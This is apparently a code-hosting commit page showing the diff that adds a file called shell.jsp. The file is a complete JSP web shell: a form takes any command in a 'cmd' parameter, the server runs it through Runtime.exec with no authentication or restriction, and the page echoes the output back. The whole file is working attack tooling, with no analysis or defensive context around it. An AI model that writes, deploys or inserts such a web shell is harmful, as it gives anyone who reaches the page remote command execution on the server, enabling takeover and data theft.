Skip to content

Commit 547acbe

Browse files
authored
Create shell.jsp
1 parent 7e7f166 commit 547acbe

File tree

1 file changed

+25
-0
lines changed

1 file changed

+25
-0
lines changed

shell.jsp

+25
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
<FORM METHOD=GET ACTION='shell.jsp'>
2+
<INPUT id='cmd' name='cmd' type=text>
3+
<INPUT type=submit value='Run'>
4+
</FORM>
5+
<script>
6+
var input = document.getElementById("cmd");
7+
input.focus();
8+
input.select();
9+
</script>
10+
11+
<%@ page import="java.io.*" %>
12+
<%
13+
String cmd = request.getParameter("cmd");
14+
String output = "";
15+
if(cmd != null) {
16+
String s = null;
17+
try {
18+
Process p = Runtime.getRuntime().exec(cmd,null,null);
19+
BufferedReader sI = new BufferedReader(new
20+
InputStreamReader(p.getInputStream()));
21+
while((s = sI.readLine()) != null) { output += s+"</br>"; }
22+
} catch(IOException e) { e.printStackTrace(); }
23+
}
24+
%>
25+
<pre><%=output %></pre>

0 commit comments

Comments
 (0)